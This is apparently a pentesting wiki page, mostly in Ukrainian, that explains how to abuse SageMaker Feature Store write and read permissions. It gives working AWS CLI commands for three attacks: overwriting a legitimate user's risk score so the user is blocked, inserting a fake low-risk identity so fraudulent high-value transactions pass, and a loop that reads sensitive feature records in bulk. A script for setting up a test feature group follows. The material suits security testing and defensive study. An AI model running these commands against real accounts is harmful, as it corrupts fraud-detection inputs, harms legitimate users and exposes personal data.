SageMaker Feature Store online store poisoning

Reading time: 5 minutes

Зловживання sagemaker:PutRecord у Feature Group з увімкненим OnlineStore для перезапису живих значень feature, які споживаються для online inference. У поєднанні з sagemaker:GetRecord атакуючий може прочитати чутливі feature. Для цього не потрібен доступ до models або endpoints.

Вимоги

• Дозволи: sagemaker:ListFeatureGroups, sagemaker:DescribeFeatureGroup, sagemaker:PutRecord, sagemaker:GetRecord
• Ціль: Feature Group з увімкненим OnlineStore (зазвичай використовується для real-time inference)
• Складність: LOW - Прості команди AWS CLI, маніпуляції моделлю не потрібні

Кроки

Розвідка

1. Перелічити Feature Groups з увімкненим OnlineStore

REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table

2. Описати цільовий Feature Group, щоб зрозуміти його схему

FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"

Зверніть увагу на RecordIdentifierFeatureName, EventTimeFeatureName та всі визначення ознак. Вони необхідні для формування коректних записів.

Сценарій атаки 1: Data Poisoning (Перезапис існуючих записів)

1. Прочитайте поточний легітимний запис

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

2. Отруїти запис зловмисними значеннями, використовуючи вбудований параметр --record

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore

3. Перевірте отруєні дані

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001

Вплив: моделі ML, що використовують цю ознаку, тепер бачитимуть risk_score=0.99 для легітимного користувача, що потенційно може призвести до блокування його транзакцій або доступу до послуг.

Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)

Впровадити повністю нові записи з маніпульованими ознаками, щоб обійти механізми безпеки:

NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)

# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore

Перевірте ін'єкцію:

aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999

Вплив: Зловмисник створює фейкову особу з низьким ризиковим балом (0.01), яка може здійснювати шахрайські транзакції високої вартості без спрацьовування системи виявлення шахрайства.

Сценарій атаки 3: Екфільтрація конфіденційних даних

Прочитати кілька записів, щоб витягти конфіденційні ознаки та профілювати поведінку моделі:

# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done

Вплив: Конфіденційні ознаки (бали ризику, шаблони транзакцій, персональні дані) доступні зловмиснику.

Створення тестової Feature Group для тестування/демо (необов'язково)

Якщо потрібно створити тестову Feature Group:

REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)

aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"

echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi

echo "Feature Group ready: $FG"

Посилання

• Документація AWS SageMaker Feature Store
• Кращі практики безпеки Feature Store